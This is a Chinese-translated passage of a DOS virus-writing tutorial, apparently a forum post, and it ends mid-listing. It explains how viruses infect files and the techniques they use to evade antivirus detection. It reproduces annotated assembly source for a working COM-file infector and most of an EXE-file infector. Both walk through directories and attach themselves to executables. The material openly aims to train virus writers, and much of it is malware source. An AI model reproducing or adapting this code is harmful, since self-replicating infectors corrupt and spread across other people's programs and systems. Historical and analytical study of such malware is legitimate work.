Billy Belceb病毒编写教程---DOS篇(基础理论)
翻译:onlyu[FCG][DFCG]
【译者声明】
这是一篇关于病毒基础知识的教程,作者Billy Belceb,西班牙人,在16岁时写的
这篇教程,曾创建了病毒组织DDT,当时为著名病毒组织iKX(International Knowledge e
Xchange)的成员。大家都知道,DOS病毒早已成为过去,但这篇教程介绍的关于病毒的基础
知识、思想很重要,是学习Win32病毒和网络病毒的基础。翻译这篇教程的目的是想揭开病
毒的神秘面纱,从编写病毒的角度来学习病毒,希望对大家有用。由于原文为西班牙人写
的英文,译者也是第一次尝试翻译英文教程,有些术语翻译得不好,错误之处还请大家原
谅,大家也可对照原文学习。(原文在29A#3中)。下面为原文译文,祝你好运!
【声明】
~~~~~~
作者对因对此文档使用不当而造成的任何损失概不负责。这篇教程的目的是教会人们
编写病毒和防护一些破坏力大的病毒的破坏。这篇教程仅作为教学目的。所以,如果有人
利用这篇文章编写了破坏力很大的病毒,我可不负责任。如果通过这篇文章你看到我鼓励
人们破坏数据的字眼,先去买副眼镜再说。
【介绍】
~~~~~~
欢迎阅读Billy Belceb的病毒编写教程,来到病毒的世界。这篇文章献给我的导师zA
xOn,他真是我的良师啊,是他不厌其烦的解释当我请教他什么是ARJ,借给我TP5,把他的
全部所知教给了我,直到迈出了汇编的第一步。这篇文章还献给那些想摆脱蹩脚病毒编写
者称号,加入“出色者”行列的人。我还要提写了很多经典文章的Dark Angel(Phalcon/S
kism组织的成员),是他的许多教程带我入了门。当然了,还要献给Offspring,Marilyn M
anson,Blind Guardian,Stratovarius 和Metallica(我听说过另外一些组织,但是上面这
些是最出色的),还有他们的作品。希望你们喜欢这篇为初学者准备的教程,可能这也是我
的最后一篇DOS病毒教程了。
说明:英语不是我的母语(西班牙语才是)[译者注:所以这篇西班牙式英语的病毒教程很难
翻译,不当之处还请原谅],所以原谅我的许多拼写错误,请告知我,我会修正的。
----------跟我联系
?E-mail billy_belcebu@hotmail.com billy_belcebu@cryogen
.com
?ICQ # 22290500
个人主页 http://members.xoom.com/billy_bel http://
www.cryogen.com/billy_belcebu
组织主页 http://sourceofkaos.com/homes/ddt
IRC [Billy_Bel] Undernet #vir, Irc-Hispano #virus
祝玩得快乐!
Billy Belceb
【病毒编写所需的软件】
~~~~~~~~~~~~~~~~~~~~
在你开始编写病毒之前,你需准备一些软件。我给大家推荐一些程序(如果你买不起它
们...下载吧! )
Borland Turbo Assembler 3.1----编写dos病毒足够了
Borland Turbo Link 5.1
Borland Turbo Debug 3.1,AVPutils debugger,或者如果你愿意使用dos debug。
你最喜欢的文本编辑器(QuickEdit将会是一个不错的选择)
一些病毒源代码(一些老病毒如stoned,一些最新的病毒如Zhengxi,Oneself,Cabanas
,Esperanto...)
一些病毒相关的电子杂志(40hex,Insane Reality,Xine,29A...)
实用工具如内存抓取工具(memory dump),Norton Utilities
Ralf Brown 的中断列表
一些汇编教材(毫无疑问不可少了 )
一些病毒查杀工具(为了看我们的病毒是否能被探索式发现)
毫无疑问,这篇教程
我希望没有忘记任何重要的东西。
【一些重要的理论】
~~~~~~~~~~~~~~~~
一个病毒实际上是一个程序,这个程序通常是用汇编编写的(但也可用其他语言编写,
如PASCAL和C),它能把它自身复制到其它可执行程序或其它的如boot sector或者MBR。汇编
并不是人们所形容的“恶魔”,相信我
我希望你已经发现了,这里我还没有提及宏病毒:如果你想真正的学到东西,我想你
能做的最好的事情就是用汇编语言去写一些病毒。
一个病毒会把它本身附在宿主的尾部(80%的病毒是这样的),利用MS-DOS会优先执行.
com文件,而不是.exe文件这个特性(companion virus(伴随型病毒)),不增加原先文件的
大小(guest infectors和overwriting virus),EXE文件头病毒,中间文件感染病毒,安装
在启动记录里,在MBR里,甚至采用了压缩引擎...一个病毒甚至在感染完一个文件后能减
小原来文件的大小。 希望不久后一个病毒能象这样(超级病毒)让我们来看看第一种类型的
病毒的运行示意图
_______________
_________ _________ ___| | |<---|
| | | | | | JMP 病毒| | |
| 文件 |+| 病毒 |---------> |_________| | |
|_________| |_________| | | | |
| | 文件 | |
| | | |
--->|---------------| |
| | |
| | |
| 病毒 | |
| | |
|_______________|____|
病毒通常会遵循如下相同步骤:
1. 定位要感染的文件(一直等待直到打开某些东西,或者搜索目录)
2. 检查某个文件是否已经被感染
3. 如果已感染,跳过
4. 保存文件日期/时间
5. 设置一个跳转跳到我们的代码保存前几个字节
6. 添加病毒主体代码
7. 恢复文件日期/时间
正如你所看到的,非常简单,但是它们会使用不同的方法来实现这个,我会在以后解
释。
另一种类型的感染过程也能表示出来,但是它更慢,因为我们们要处理目标所有的代
码,把它存在一个临时空间里,写上我们的病毒代码,和目标的原先的代码。让我们看:
_____________
__________ ___________ | |
| | | | | |
| 文件 | + | 病毒 |-------->| 病毒 |
|__________| |___________| | |
|-------------|↓
| |
| 文件 |
| |
|_____________|
世界上最差的病毒是那种覆盖型的病毒。它们是如此的富有破坏性,而且感染也是很
容易被检测出来的,因为它们不能运行目标程序(由于感染方法的原因,它们不能运行目标
程序),它们只能运行病毒程序本身。让我们来看看一幅示意图:
______________
___________ ___________ | |
| | | | | 病毒 |
| 文件 |+| 病毒 |------->| |
|___________| |___________| |--------------|
| | <---原先文件再也不会
|______________| 运行了
一个真正的好主意是文件中感染(mid-file infection),可能这是最好的感染方法了
:病毒更难去除、模拟了...它们通常的对目标程序在随机的偏移地址写上病毒代码,示意
图如下:
________________
---| | |<---|
| |JMP 病毒 | | |
__________ __________ | |_________| | |
| | | | | | | |
| 文件 |+| 病毒 |------->| 文件(I) | |
|__________| |__________| | |________________| |
-->| | |
| 病毒 | |
|________________|____|
| |
| 文件(II) |
|________________|
| 病毒覆盖保存 |
| 的数据 |
|________________|
当然啦,还有更多的感染方法,但是这是一篇为初学者而写的教程,所以...永远不要
忘记
一个病毒有一些不同的phase(阶段):
感染(INFECTION):一个病毒通常会出人意料地出现的,在一个文件中(通过磁盘,e-
mail...)或者启动扇区(boot sector)(磁盘...)。使用者在不知道的情况下执行病毒,那
就是病毒开始控制系统的时候了(取代了使用者)
"我拥有控制权"(I-HAVE-THE-CONTROL):这是病毒最有意思的阶段,使得使用者高高兴
兴地生活着,把程序借给他的/她的朋友,感染它们,和所有材料。那么这个病毒就会非常
快的感染越来越多的人了。[译者注:实际上这个阶段可概括为传播阶段,原文措辞很难理
解]
发作(PAYLOAD):在满足一定的条件后,病毒将会显示它的存在了。发作可能会是破坏
性的<g>,也可能不会。以我个人的观点,蹩脚的病毒编写者才会编写破坏性的病毒,这些
卑鄙的人就喜欢从破坏别人的电脑中得到快感,好一点的发作是那些正宗的病毒,它们给
使用者带来了惊奇。当然了,也有从来不发作的病毒,这类病毒除了复制自己之外,什么
事也不干(Hi Patty Bitchman!)。
在这篇教程中,我将要讨论一些其它的话题诸如:
病毒自身的保护:我确实很喜欢这个话题。这个通常在防止那些饥渴的家伙调试/反汇
编我们的病毒。呵呵,一个优秀的病毒作者能反汇编他/她想要反汇编的任何病毒,Tcp/2
9A和Darkman/29A...就是榜样。
隐蔽:为了编写出出色的病毒,需要伪装的手段。有许多伪装的方法(FCB,Handles,SF
T,Disinfection-on-the-fly...),我将会介绍其中的一些方法。这样会使使用者产生一种
错觉,自己机器上没有任何病毒感染,使他的文件大小在感染前后完全一样,在打开这个
文件之前给它“消毒”(disinfecting)...
加密:这个方法在于加密病毒的主体,使得我们能作为版权的字符串不能被怀疑者识
别它实际上是一种老技术了,但是现在仍然被使用着(但是有一些改变,看下一点)。它使
用算术运算来完成加密(XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )
多态性:为了躲避AV(查杀毒软件)的一项技术,是加密的一种扩展。目的就是每次产
生不同的解密例程,使得对病毒无法扫描,或者使扫描字符串尽可能的短。
反-探索:探索式扫描器并不象某些人说的那么可信。我将表明探索并不象它们看起来
的那么安全。为了避免标志,解决的方式是一些花招(tricks)。
TUNNELING(地道?坑道?):这个是在获得“真正”的INT 21h中断向量时使用,绕过TSR
监视,和所有的拦路虎。
ANTI-TUNNELING(反-地道?):AV使用的避开tunneler的武器,成了TSR监视的一个敌人
了。它还在停止其它的病毒试图获得“我们的”INT 21h的时候非常酷
反-引诱(ANTI-BAIT):引诱这种手段是AV使用的在许多文件中进行多重感染,试图获得
我们病毒的扫描字符串(而且利用它,获得我们的变异引擎)...我们希望被这样吗?当然不
!我将会解释避免感染这种无关程序的使用得最多得方法。
优化(OPTIMIZATION):好的病毒总是使用最少的代码做最多的事情。在这一小节,你将
会看到怎样用最少的代码做最多的事情。
待续.................................
返回顶端
onlyu
侠客
年龄:24
十二宫图:
加入时间: 2003/11/20
文章: 23
Points: 30
时间: 2004-2-10 周二, 下午6:27 标题: go on.....................
------------------------------------------------------------------------------
--
【第一步 运行期病毒】(RUNTIME viruses)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
成功的感染有很多方法。现在我将介绍最古老的一个,运行期方法(也叫直接感染法)
。现在,没有人再来编写运行期病毒了,因为它们太慢了(sloooooooow,译者注:很形象)
,而且它们的存在会被一个中等感兴趣的用户发现。但是...不要怕!这种方法是特别简单
,但是圈内的所有人,都是以编写出运行期感染com文件病毒迈出他们的第一步的。这个方
法仅仅是你的病毒开发的第一次亲密接触。一个运行期病毒存在于一个程序中,使用通配
符("*.com","*.exe","*.*"...)来搜索文件,使用DOS-API(当然是INT 21h啦)函数Findfi
rst和Findnext(4Eh和4Fh)。它还进入其它的目录而不是实际所在的目录进行感染。通常这
种类型的病毒感染.com和.exe文件,但是也能感染.sys,.obj,.zip...但要解释清楚这个我
恐怕还需写一篇教程,而且...你还记得这是为初学者写的教程吗?
%COM 文件感染%
~~~~~~~~~~~~~~
最早的病毒,正如你所能想象的是感染com文件的病毒。这是你必须搞懂的第一病毒,
而且这种病毒,或多或少,所用到的方法,在所有的病毒里都会用到(TSR等等):
1.打开文件
2.保存时间/日期/属性
3.存储开始的(通常 3)字节
4.计算新的跳转(jump)
5.添上这个跳转
6.添加病毒主体
7.恢复时间/日期/属性
8.关闭文件
你必须记住的是一个COM文件的物理代码和内存中一样(COM=Copy Of Memory)。DOS会
把所有的可用内存分配给COM文件。让我们看看一个装载到内存中的COM程序:
_______________________________
| |<--------CS=0000h
| Program Segment Prefix(PSP) | |---DS=0000h
| 100h bytes(256d) | |---ES=0000h
|_______________________________| |---SS=0000h
| |<--------CS:IP=0100h
| 程序代码和数据 |
| |
| |
| |
| | |---CS=FFFFh (*)堆栈向后增长,自底向顶
| | |---DS=FFFFh
| 堆栈 | |---ES=FFFFh
|_______________________________|<--------SS:SP=FFFFh
一个COM文件只能有一段(FFFFh bytes)大小减去100h bytes的大小被PSP使用(FFFFh-
100h=FEFFh)。但是有一个问题。我们必须节省更多的空间给堆栈的增长所需(每次我们会
使用PUSH而忘记了POP,堆栈增长了,而如果它增长了太多的话,将会搞崩溃我们的程序)。
我将至少留100h bytes给堆栈。OK?
这很容易理解...而且它是逻辑上的!!!
说到逻辑上的东西...我想现在是练习感染COM文件的好时候了。它是一个蹩脚的病毒
。蹩脚?仅仅?比这更甚:最蹩脚的! 但是这是一个初学者教程,所以我必须写它!虽然
它使我很恼火!恩,我就不浪费脑力来编写那样的东西了,虽然我只要花5分钟时间就可以
写一个(花时间?浪费时间!)
;-----从这里开始剪切-----------------------------------------------------
;一个非常蹩脚的病毒。不要编译。不要发布。
;如果你还复制这个...你就会很蹩脚了!
;但是我希望这个能帮助你走好第一步成为一个出色的病毒编写者
;然后你会给我问候
;我讨厌编写我自己的运行期病毒(5分钟可以写一个很差的,请相信我,非常烦人,而
;且浪费时间)所以我使用了Dark Angel的代码
;对不起,我是一个很懒的人
;汇编用:TASM /m3 lame.asm
;连接用:TLINK /t lame.obj
;Virus generated by G?0.70 (看,我没有去掉签名。它不是我写的!你能做的最蹩
;脚的事情就是把签名去掉。不要忘记吆! )
;作者:Dark Angel 属于Phalcon/Skism
;文件:LAME.ASM
.model tiny
.code
org 0100h
carrier:
db 0E9h,0,0 ; jmp start
start:
mov bp, sp ; Antidebugging get ?offset!
int 0003h ; Int for breakpoints
next:
mov bp, ss:[bp-6]
sub bp, offset next
;----------------------------------------------------------------------
; 解释:
; 让我们看,当我们感染一个文件。所有的offset会偏移目标程序的大小,所
; 以我们选择一个寄存器(通常BP或者SI),而且我们利用这个简单的方法给它赋
; 文件的大小,每次我们使用一个变量,我们必须把这个寄存器作为偏
; 移(这里是BP)
;----------------------------------------------------------------------
mov dl, 0000h ; Default drive
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
;----------------------------------------------------------------------
; 解释:
; 上面一段把当前目录保存在一个变量里面。
; 你在这篇教程里面可以查找一下有关于DTA结构的介绍。DTA(Disk Transfer
; Address)在仍然属于命令行的PSP(Program Segment Prefix)的80h byte处。
; 你想直到为什么...在我们使用命令行的时候使用DTA会发生什么呢?
; 那就是我们保存DTA的原因(除了我们自己使用之外,毫无疑问了)
;----------------------------------------------------------------------
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb ; Move first byte
movsw ; Move next two
mov byte ptr [bp+numinfect], 0000h
;-------------------------------------------------------------------------
; 解释:
; 上面一段是恢复被感染COM文件的前三个bytes,在offset 100h 处还把这个
; offset保存在DI里面以备后用。最后一行是把真正感染的个数初始化为0
; (计数器)
;-------------------------------------------------------------------------
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '/'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
;-------------------------------------------------------------------------
; 解释:
; 这里我们所做的就是感染当前目录下的所有文件,做完这个后,来到..目录下,
; 即当前目录的上一级目录。
; 当没有更多的目录后,我们就来到我们最先所处的目录。
;-------------------------------------------------------------------------
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
return:
ret
;--------------------------------------------------------------------------
; 解释:
; 这一段恢复DTA为原先的地址,在Program Segment Prefix(PSP)的offset 80h 处
; 然后返回到原先的offset 100h,为了正常地执行这个文件。
; (记住我们当di=100h时,执行了push di操作。
;--------------------------------------------------------------------------
old3 db 0cdh,20h,0
infect:
mov ah, 004Eh ; find first
mov cx, 0007h ; all files
findfirstnext:
int 0021h
jc return
;--------------------------------------------------------------------------
; 解释:
; 在这段代码中,我们所做的是在当前目录下面寻找和保存在DX里的通配符(在这
; 个例子里"*.COM"),可以为任意类型的文件。
; Old3 是处理被感染了的COM文件的前3字节。
; 如果没有符合的文件,一个进位标志将会返回,然后跳转到把控制权交
; 给主程序的处理程序。如果我们发现至少有一个可以感染,就跳转到接下来的
; 代码,处理完了后,再寻找其它文件。
;--------------------------------------------------------------------------
cmp word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so
;--------------------------------------------------------------------------
; 解释:
; 这一段处理不要感染command.com这个文件,检查文件在某个位置name+5(DTA+35)
; 有字符 DN (不是ND,是因为这两个是倒着存储的!)
;--------------------------------------------------------------------------
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
;--------------------------------------------------------------------------
; 解释:
; 上面一段第一部分有两个功能:为将来恢复文件的属性而保存文件的属性,
; 检查文件是否存在或者是否有问题。
; 第二部分在堆栈中保存4301h(写属性的函数)和清除文件讨厌的属性如只读
; 属性
;--------------------------------------------------------------------------
lea dx, [bp+newDTA+30]
mov ax, 3D02h ; Open R/O
int 0021h
xchg ax, bx ; Handle in BX
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
;--------------------------------------------------------------------------
; 解释:
; 第一部分以读/写模式打开文件,并把文件句柄放在BX中,放这里将会更有用。
; 指令的第二部分获得文件的日期和时间然后保存在堆栈中。
;--------------------------------------------------------------------------
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4202h
int 0021h
;--------------------------------------------------------------------------
; 解释:
; 第一部分读取1Ah 字节(26) 到读缓冲区中,为后来做准备。
; 第二部分把文件指针指向文件尾,有两个原因:1.把文件大小放到AX中
; 2.我们将在文件尾添上病毒。
;--------------------------------------------------------------------------
cmp word ptr [bp+offset readbuffer], "ZM"
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
;--------------------------------------------------------------------------
; 解释:
; 第一部分比较打开的COM文件的前两个字节,为了分辨清楚这个文件是否是一个
; 错误命名的EXE文件(记住字符串必须是倒序)。
; 第二部分检查以前的感染,比较 病毒大小+目标文件(被感染前)大小是否和
; 目标文件的实际大小是否相等。
;--------------------------------------------------------------------------
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw
;--------------------------------------------------------------------------
; 解释:
; 上面指令的第一部分检查COM文件的大小,看看我们能否感染它(COM文件大小+病毒
; 大小不能>0FFFFh(65535)),如果大于了,PSP 和堆栈会"撑爆"文件。
; 第二部分把old3的值(3 字节) 赋到读缓冲区中。
;--------------------------------------------------------------------------
sub ax, 0003h ; Virus_size-3 ( jump size )
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; Opcode of jmp
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start] ; The beginning of what append
mov cx, heap-start ; Size to append
mov ah, 0040h ; concatenate virus
int 0021h
;--------------------------------------------------------------------------
; 解释:
; 第一部分计算跳转到病毒的代码并把结果保存在一个变量中。
; 第二部分把病毒附到目标文件后面
;--------------------------------------------------------------------------
mov ax, 4200h
xor dx, dx
xor cx, cx
int 0021h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;--------------------------------------------------------------------------
; 解释:
; 第一部分把文件指针指向文件开头,第二部分写跳转到病毒的代码。
; 第三部分使变量增加以 记住已经成功感染的次数。
;--------------------------------------------------------------------------
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
;--------------------------------------------------------------------------
; 解释:
; 上面指令的第一部分恢复存储在DTA里面的文件的时间和日期。
; 第二部分关闭文件而第三部分被感染文件原先的属性。
; 最后一部分赋AX以调用DOS的FindNext函数,并寻找更多的文件来感染。
;--------------------------------------------------------------------------
signature db "[PS/G齗",0 ; Phalcon/Skism G?( old!! )
COMmask db "*.COM",0 ; Must be ASCIIZ ( Ascii string,0 )
dot_dot db "..",0 ; Directory to change
heap: ; this data goes in heap
newDTA db 43 dup (?) ; DTA size, 2Bh
origdir db 65 dup (?) ; Where to store old directory
numinfect db ? ; Handles the number of infections
readbuffer db 1ah dup (?) ; Buffer
endheap:
end carrier
;-----到这儿为此剪切------------------------------------------------------
正如你所看到的,它使如此的简单,而且代码被详细地注释了。如果你还不懂,不用
往下看了,继续看COM文件地感染!!!但是...一个病毒要是仅仅感染COM文件...而且运行期
病毒可能在6、7年前很酷,但如今它太差劲了!在传播一个运行期病毒之前,我建议你还
是再等一段时间吧。几个月时间足够使你学好汇编语言了,而你如果多花一些时间提高你
的技能,那么,再过几个月,你将会编写出有着很强隐蔽能力和巧妙花招的病毒来。
在讨厌的Win95中有大量的COM文件,有意思吧?到目前为止它们经常被使用,但还有
个问题。如果我们这么简单的感染它们,它们会造成死机的解决的方法是保存文件的最后
七个字节,在最后两个字节添上病毒的大小。
最后指出,对于其他病毒编写者对你的初学所编写出来的病毒表现出的不屑一顾请不
要在意。有时候这些人(仅仅是少部分人,通常圈内的大部分人很热心的)忘记了他们起步
时其实和你差不多,要相信自己。
不谈那些连自己的根都忘记了的人了,接下来谈谈EXE文件的感染 。
%EXE 文件的感染%
~~~~~~~~~~~~~~~~
首先你必须知道的是,感染EXE文件是和感染COM文件不同的(我猜聪明的你一定早就知
道这个了),EXE文件可能更大了,而且它们有一个文件头HEADER(我想感染EXE文件最重要的
就是掌握这个文件头),这个文件头包含了我们感染时的重要数据如CS:IP(存储的时候是倒
着的IP:CS),SS:SP(没有倒着存!!!),段中的文件大小和所有其它重要的东西。下面给出
EXE文件头结构:
_______________________________________
| EXE file mark(ZM or MZ) |<----+0000h
|_______________________________________| Size:1 WORD
| Bytes in last page of image* |<----+0002h
|_______________________________________| Size:1 WORD
| Number of pages* |<----+0004h
|_______________________________________| Size:1 WORD
| Number of relocation items |<----+0006h
|_______________________________________| Size:1 WORD
| Size of the header in paragraphs |<----+0008h
|_______________________________________| Size:1 WORD
| MinAlloc in paragraphs |<----+000Ah
|_______________________________________| Size:1 WORD
| MaxAlloc in paragraphs |<----+000Ch
|_______________________________________| Size:1 WORD
| Initial SS* |<----+000Eh
|_______________________________________| Size:1 WORD
| Initial SP* |<----+0010h
|_______________________________________| Size:1 WORD
| Negative checksum |<----+0012h
|_______________________________________| Size:1 WORD
| Initial IP* |<----+0014h
|_______________________________________| Size:1 WORD
| Initial CS* |<----+0016h
|_______________________________________| Size:1 WORD
| Reloacations |<----+0018h
|_______________________________________| Size:1 WORD
| Overlays |<----+001Ah
|_______________________________________| Size:1 WORD
| Reserved/Not used |<----+001Ch
|_______________________________________| Size:1 DWORD?
总长度:变量!
标志了(*)的表示病毒感染时将会被修改。
EXE文件可以有不止一个段(segment)(一个为代码段,一个为数据段,其它为堆栈段-
>按照CS,DS,SS的顺序)
EXE文件头是由连接器产生的,使用者是不会改变它的。当DOS把EXE文件装如内存,它
看起来如下:
_______________________________
| Program Segment Prefix(PSP) |<-------ES=0000h
| 100h bytes(256d) | |---DS=0000h
|_______________________________|
| Program Code Segment(CS) |<-------CS:IP(由文件头指向)
|_______________________________|
| Program Data Segment(DS) |
|_______________________________|
| Program Stack Segment(SS) |<-------SS=0000h
|_______________________________|<-------SS:SP(由文件头指向)
正如你所看到的,EXE文件没有COM文件所存在的问题。为了满足堆栈需要(PUSH和POP
),我们拥有整个段(segment)!它仍然向后增长(自底向顶)。
让我们看看你编写感染EXE文件的病毒所需遵循的算法(一步接一步):
1.以只读方式打开文件(哇!天才!)
2.读取前1A字节(26d)数据
3.把它们保存到一个变量中
4.关闭文件
5.检查作为标志的第一个字(MZ,ZM)
6.如果相等,继续,如果不相等,转向16
7.检查以前是否已被感染
8.如果没有被感染,继续,如果已被感染转向17
9.保存CS:IP(反过来->IP:CS)为将来恢复EXE文件用
10.同样的目的,保存SS:SP(就按这个顺序)
11.计算新的CS:IP和SS:SP
12.修改最后一页的字节和页数
13.重新打开(但是以read/write模式打开)
14.写文件头
15.使文件指针指向文件尾
16.添加病毒主体
17.关闭文件
毫无疑问,你该按照上面说的那么做,如以读/写模式打开文件只有一次。一定要注意
被感染文件的SP。
我不想再介绍更多的理论来烦你了,请记住这一点,学习编写病毒的最好的方法是多
看其它病毒的源代码。而且看我已经为你加了注解的病毒源代码将会更好
;-----------从这里开始剪切----------------------------------------------------
; 到了更有趣的章节,我将把我自己编写的病毒的源代码作为例子。
; 那时候,看了这些代码,你就会感到很差了
;
; 汇编:TASM /m3 lame.asm
; 联接: TLINK /t lame.obj
;
; Virus generated by G 0.70
; 作者:Dark Angel 属于 Phalcon/Skism
id = ''
.model tiny
.code
org 0100h
start:
call next
next:
pop bp
sub bp, offset next
;---------------------------------------------------------------------------
; 解释:
; 这是最普遍的寻找偏移地址(delta offset)的方法了(如果你还不知道什么是
; delta offset 的话,杀了你自己算了)
;---------------------------------------------------------------------------
push ds
push es
push cs
pop es ; CS = ES
push cs
pop ds ; CS = ES = DS
;---------------------------------------------------------------------------
; 解释:
; 这次的目标不是一个COM文件了!请记住这一点!EXE文件更强大了(比较
; 难一点感染了)。当我们执行一个EXE文件,每一段指向一个不同的段,所以
; 我们需要调整它们。记住我们不能添加诸如"mov es,ds"的代码,所以,需要
; 小小的花招来做这个。使用堆栈
;---------------------------------------------------------------------------
mov ah, 001Ah ; Set DTA
lea dx, [bp+offset newDTA]
int 0021h
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
cwd ; Default drive
int 0021h
;---------------------------------------------------------------------------
; 解释:
; 你还记得我们的老朋友吗,DTA?我希望你的回答是yes,如果是not,重新读整篇
; 教程,上帝会原谅你的!
; 第二个例程也是一段经典的程序,你已经看过了。
;---------------------------------------------------------------------------
lea di, [bp+offset origCSIP2]
lea si, [bp+offset origCSIP]
movsw
movsw
movsw
movsw
mov byte ptr [bp+numinfect], 0000h
;---------------------------------------------------------------------------
; 解释:
; 嗨!有新东东啦!第一段的功能是为了将来恢复目标EXE文件。我希望你知道
; MOVSW这条指令...不知道?Grrr...我解释给你听吧,但是其它的疑问....
; 买一本汇编教材!!!MOVSW 从DS:SI移一个字到ES:DI(MOVSB做同样的事但是
; 移一个字节)。我们这么做是因为我们有两个双字。我们还可以使用如:
; MOV CX,4 和 REP MOVSW,或者在386+里,两个MOVSD。
;---------------------------------------------------------------------------
traverse_loop:
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
;---------------------------------------------------------------------------
; 解释:
; 解释以前已经解释过的例程是件痛苦的事...
;---------------------------------------------------------------------------
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '/'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
pop es ; ES = DS
pop ds
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
;---------------------------------------------------------------------------
; 解释:
; 已经在感染COM文件时介绍过了。
;---------------------------------------------------------------------------
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh ; jmp far opcode
origCSIP2 dd ?
origSPSS2 dd ?
origCSIP dd 0fff00000h
origSPSS dd ?
return:
ret
;---------------------------------------------------------------------------
; 解释:
; 这里是恢复目标EXE文件。看看这些指令...我们的目的是恢复被感染EXE文件
; 的原先CS:IP和SS:SP的值。注意在堆栈操作之前,我们必须释放中断。
; 然后,我们跳转到原先的EXE代码,如果没有什么意外的话,将会按我们
; 预料的发展了
;---------------------------------------------------------------------------
infect:
mov cx, 0007h ; all files
mov ah, 004Eh ; find first
findfirstnext:
int 0021h
jc return
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
;---------------------------------------------------------------------------
; 解释:
; 这段代码看起来还感染COM文件的那段差不多。因为这段是寻找EXE文件,
; 清除文件属性和其它的
;---------------------------------------------------------------------------
mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0021h
xchg ax, bx
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
;---------------------------------------------------------------------------
; 解释:
; 嗨,上面的所有代码已经在介绍COM文件感染时见过了。但是从这儿开始到最后,
; 还有有关于EXE文件感染的更酷的东西呢
;---------------------------------------------------------------------------
cmp word ptr [bp+offset readbuffer], 'ZM'
jnz jmp_close
checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
;---------------------------------------------------------------------------
; 解释:
; 第一部分比较打开文件的前几个字节来寻找EXE文件的签名(MZ)。G的作者好象
; 忘记了加上比较ZM。第二部分检查是否已被感染。这个病毒是一个比较老的
; 运行期病毒,它的基本方法是标记已经感染的EXE文件(把EXE文件头的两个字节
; 压栈作为SP)。
;---------------------------------------------------------------------------
skipp:
lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
;---------------------------------------------------------------------------
; 解释:
; 在这里为了理解这段代码,你必须记起来MOVSW会做什么(刚在上面介绍的)。OK?
; 这里恢复打开EXE文件的CS:IP和SS:SP的值。
;---------------------------------------------------------------------------
push bx ; save file handle
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
;---------------------------------------------------------------------------
; 解释:
; 这段代码看起来很难理解。但实际上不是。第一部分在readbuffer+8处读取数值
; (段中的文件头大小)。然后把它转化为字节。第二部分把文件大小压栈。第三部分
; 把文件大小减去文件头大小。第四部分把上面结果除以10存在AX中,把余数存在
; DX中。然后给SS,IP,SP和CS赋新值。
;---------------------------------------------------------------------------
pop ax ; File length in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
